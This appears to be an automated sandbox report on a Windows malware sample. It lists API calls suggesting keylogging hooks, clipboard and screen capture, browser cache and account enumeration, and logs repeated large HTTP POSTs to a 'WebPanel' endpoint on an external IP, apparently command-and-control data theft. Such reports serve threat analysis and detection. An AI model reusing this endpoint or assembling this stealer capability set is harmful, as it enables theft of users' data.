wminet_utils.dll.CreateClassEnumWmi
wminet_utils.dll.ExecQueryWmi
wminet_utils.dll.ExecNotificationQueryWmi
wminet_utils.dll.PutInstanceWmi
wminet_utils.dll.PutClassWmi
wminet_utils.dll.CloneEnumWbemClassObject
wminet_utils.dll.ConnectServerWmi
oleaut32.dll.#500
oleaut32.dll.SysStringLen
kernel32.dll.RtlZeroMemory
advapi32.dll.GetUserNameW
kernel32.dll.GetComputerNameW
kernel32.dll.GetACP
kernel32.dll.UnmapViewOfFile
kernel32.dll.CreateFileW
kernel32.dll.GetFileType
kernel32.dll.GetFileSize
kernel32.dll.ReadFile
mscoree.dll.ND_RI2
mscoreei.dll.ND_RI2
rasapi32.dll.RasEnumConnectionsW
rtutils.dll.TraceRegisterExA
rtutils.dll.TracePrintfExA
ws2_32.dll.WSAStartup
ws2_32.dll.setsockopt
ws2_32.dll.WSAEventSelect
ws2_32.dll.ioctlsocket
ws2_32.dll.closesocket
advapi32.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.LocalFree
kernel32.dll.CreateFileMappingW
kernel32.dll.MapViewOfFile
kernel32.dll.VirtualQuery
kernel32.dll.ReleaseMutex
advapi32.dll.CreateWellKnownSid
kernel32.dll.CreateMutexW
kernel32.dll.WaitForSingleObject
kernel32.dll.OpenMutexW
kernel32.dll.GetProcessTimes
kernel32.dll.FormatMessageW
rasapi32.dll.RasConnectionNotificationW
advapi32.dll.RegOpenCurrentUser
advapi32.dll.RegNotifyChangeKeyValue
sechost.dll.NotifyServiceStatusChangeA
kernel32.dll.ResetEvent
iphlpapi.dll.GetNetworkParams
dnsapi.dll.DnsQueryConfig
iphlpapi.dll.GetAdaptersAddresses
iphlpapi.dll.GetIpInterfaceEntry
iphlpapi.dll.GetBestInterfaceEx
ws2_32.dll.inet_addr
ws2_32.dll.getaddrinfo
ws2_32.dll.freeaddrinfo
ws2_32.dll.WSAConnect
ws2_32.dll.send
ws2_32.dll.recv
ws2_32.dll.shutdown
kernel32.dll.GetModuleHandleW
user32.dll.DefWindowProcW
gdi32.dll.GetStockObject
user32.dll.RegisterClassW
user32.dll.CreateWindowExW
user32.dll.SetWindowLongW
user32.dll.GetWindowLongW
kernel32.dll.GetCurrentThread
kernel32.dll.DuplicateHandle
kernel32.dll.GetCurrentThreadId
user32.dll.CallWindowProcW
user32.dll.RegisterWindowMessageW
dwmapi.dll.DwmIsCompositionEnabled
ntdll.dll.NtQuerySystemInformation
cryptsp.dll.CryptGetProvParam
cryptsp.dll.CryptImportKey
cryptsp.dll.CryptSetKeyParam
cryptsp.dll.CryptEncrypt
ws2_32.dll.select
kernel32.dll.CreateDirectoryW
advapi32.dll.RegSetValueExW
user32.dll.SetClipboardViewer
ole32.dll.OleInitialize
ole32.dll.OleGetClipboard
kernel32.dll.GlobalLock
kernel32.dll.GlobalUnlock
kernel32.dll.GlobalFree
user32.dll.SendMessageW
kernel32.dll.CreateIoCompletionPort
kernel32.dll.PostQueuedCompletionStatus
ntdll.dll.NtQueryInformationThread
ntdll.dll.NtGetCurrentProcessorNumber
user32.dll.SetTimer
kernel32.dll.WriteFile
kernel32.dll.GetLogicalDrives
kernel32.dll.GetDiskFreeSpaceExW
kernel32.dll.GetDriveTypeW
user32.dll.SetWindowsHookExW
user32.dll.GetSystemMetrics
user32.dll.GetClientRect
user32.dll.GetWindowRect
user32.dll.GetParent
ole32.dll.CoRegisterMessageFilter
user32.dll.PeekMessageW
user32.dll.WaitMessage
shfolder.dll.SHGetFolderPathW
kernel32.dll.FindFirstFileW
kernel32.dll.FindClose
kernel32.dll.GetExitCodeProcess
mlang.dll.#112
wininet.dll.FindFirstUrlCacheEntryA
kernel32.dll.SetFileInformationByHandle
urlmon.dll.CreateUri
kernel32.dll.InitializeSRWLock
kernel32.dll.AcquireSRWLockExclusive
kernel32.dll.AcquireSRWLockShared
kernel32.dll.ReleaseSRWLockExclusive
kernel32.dll.ReleaseSRWLockShared
wininet.dll.FindNextUrlCacheEntryA
advapi32.dll.AddMandatoryAce
ntmarta.dll.GetMartaExtensionInterface
user32.dll.IsWindowUnicode
user32.dll.GetMessageW
user32.dll.TranslateMessage
user32.dll.DispatchMessageW
urlmon.dll.CreateIUriBuilder
urlmon.dll.IntlPercentEncodeNormalize
wininet.dll.FindCloseUrlCache
kernel32.dll.GetSystemTimeAsFileTime
kernel32.dll.GetTempPathW
user32.dll.GetLastInputInfo
ole32.dll.CLSIDFromProgIDEx
kernel32.dll.GetVolumeInformationA
user32.dll.GetDC
user32.dll.EnumDisplayMonitors
user32.dll.GetMonitorInfoW
gdi32.dll.GetDeviceCaps
user32.dll.ReleaseDC
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationA
kernel32.dll.SetConsoleCtrlHandler
user32.dll.GetClassInfoW
user32.dll.MsgWaitForMultipleObjectsEx
kernel32.dll.FindAtomW
kernel32.dll.AddAtomW
mscoree.dll.LoadLibraryShim
gdiplus.dll.GdiplusStartup
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipCreateBitmapFromScan0
gdiplus.dll.GdipGetImageEncodersSize
gdiplus.dll.GdipGetImageEncoders
kernel32.dll.RtlMoveMemory
mscoree.dll.ND_WI4
mscoreei.dll.ND_WI4
gdiplus.dll.GdipGetImagePixelFormat
gdiplus.dll.GdipGetImageGraphicsContext
gdi32.dll.GetCurrentObject
gdiplus.dll.GdipGetDC
gdi32.dll.BitBlt
gdiplus.dll.GdipReleaseDC
kernel32.dll.SetFileAttributesW
gdiplus.dll.GdipSaveImageToFile
windowscodecs.dll.DllGetClassObject
kernel32.dll.WerRegisterMemoryBlock
oleaut32.dll.#8
oleaut32.dll.#10
gdiplus.dll.GdipDeleteGraphics
gdiplus.dll.GdipDisposeImage
kernel32.dll.GetSystemInfo
ws2_32.dll.#116
user32.dll.PostMessageW
vssapi.dll.CreateWriter
advapi32.dll.LookupAccountNameW
samcli.dll.NetLocalGroupGetMembers
samlib.dll.SamConnect
rpcrt4.dll.NdrClientCall3
rpcrt4.dll.RpcStringBindingComposeW
rpcrt4.dll.RpcStringFreeW
samlib.dll.SamOpenDomain
samlib.dll.SamLookupNamesInDomain
samlib.dll.SamOpenAlias
samlib.dll.SamFreeMemory
samlib.dll.SamCloseHandle
samlib.dll.SamGetMembersInAlias
netutils.dll.NetApiBufferFree
samlib.dll.SamEnumerateDomainsInSamServer
samlib.dll.SamLookupDomainInSamServer
ole32.dll.CoCreateGuid
ole32.dll.StringFromCLSID
propsys.dll.VariantToPropVariant
wbemcore.dll.Reinitialize
wbemsvc.dll.DllGetClassObject
wbemsvc.dll.DllCanUnloadNow
authz.dll.AuthzInitializeContextFromToken
authz.dll.AuthzInitializeObjectAccessAuditEvent2
authz.dll.AuthzAccessCheck
authz.dll.AuthzFreeAuditEvent
authz.dll.AuthzFreeContext
authz.dll.AuthzInitializeResourceManager
authz.dll.AuthzFreeResourceManager
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
rpcrt4.dll.I_RpcMapWin32Status
advapi32.dll.EventUnregister
advapi32.dll.EventWrite
kernel32.dll.RegSetValueExW
kernel32.dll.RegQueryValueExW
wmisvc.dll.IsImproperShutdownDetected
wevtapi.dll.EvtRender
wevtapi.dll.EvtNext
wevtapi.dll.EvtClose
wevtapi.dll.EvtQuery
wevtapi.dll.EvtCreateRenderContext
rpcrt4.dll.RpcBindingSetOption
ole32.dll.CoCreateFreeThreadedMarshaler
ole32.dll.CreateStreamOnHGlobal
advapi32.dll.RegCreateKeyExW
kernelbase.dll.InitializeAcl
kernelbase.dll.AddAce
sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW
kernel32.dll.IsThreadAFiber
kernel32.dll.OpenProcessToken
kernelbase.dll.GetTokenInformation
kernelbase.dll.DuplicateTokenEx
kernelbase.dll.AdjustTokenPrivileges
kernel32.dll.SetThreadToken
kernelbase.dll.CheckTokenMembership
kernelbase.dll.AllocateAndInitializeSid
oleaut32.dll.#285
oleaut32.dll.#12
oleaut32.dll.#286
ole32.dll.CLSIDFromString
oleaut32.dll.#17
oleaut32.dll.#20
oleaut32.dll.#19
oleaut32.dll.#25
ole32.dll.CoRevertToSelf
advapi32.dll.LogonUserExExW
sspicli.dll.LogonUserExExW
authz.dll.AuthzInitializeContextFromSid
ole32.dll.CoGetCallContext
ole32.dll.CoImpersonateClient
advapi32.dll.OpenThreadToken
ole32.dll.CoSwitchCallContext
oleaut32.dll.#287
oleaut32.dll.#288
oleaut32.dll.#289
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
fastprox.dll.DllGetClassObject
fastprox.dll.DllCanUnloadNow
oleaut32.dll.#290
wmi.dll.WmiQueryAllDataW
wmi.dll.WmiQuerySingleInstanceW
wmi.dll.WmiSetSingleItemW
wmi.dll.WmiSetSingleInstanceW
wmi.dll.WmiExecuteMethodW
wmi.dll.WmiNotificationRegistrationW
wmi.dll.WmiMofEnumerateResourcesW
wmi.dll.WmiFileHandleToInstanceNameW
wmi.dll.WmiDevInstToInstanceNameW
wmi.dll.WmiQueryGuidInformation
wmi.dll.WmiOpenBlock
wmi.dll.WmiCloseBlock
wmi.dll.WmiFreeBuffer
wmi.dll.WmiEnumerateGuids
ntdll.dll.EtwUnregisterTraceGuids

Execute Commands

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-04-30 20:44:05 2018-04-30 20:46:58 173

17 HTTP Request(s) detected

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 5.178.42.139
  • Port: 80
  • Count: 2

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86400
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 5.178.42.139
  • Port: 80
  • Count: 4

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86401
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://checkip.dyndns.org/
  • Hostname: checkip.dyndns.org
  • IP Address: 216.146.43.71
  • Port: 80
  • Count: 1

GET / HTTP/1.1
Host: checkip.dyndns.org
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 3

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 246
Expect: 100-continue
Connection: Keep-Alive

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 27

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 294
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 288
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 2138
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 264
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 114

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 246
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 3

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41396
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 4

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 296
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 3

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 298
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 2

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41480
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41466
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41368
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 2

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 41464
Expect: 100-continue

http://185.141.25.242/~abujafir/WebPanel/api.php
  • Hostname: 185.141.25.242
  • IP Address:
  • Port: 80
  • Count: 1

POST /~abujafir/WebPanel/api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Host: 185.141.25.242
Content-Length: 296
Expect: 100-continue
Connection: Keep-Alive

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven05_64 Seven05_64 VirtualBox 2018-04-30 20:44:05 2018-04-30 20:46:58 173

1 Host(s) detected

IP Address Hostname Reverse DNS
185.141.25.242 Romania hosting1.ro.hostsailor.com.

Host(s) by Country

Hosts Country 1
1 Romania Romania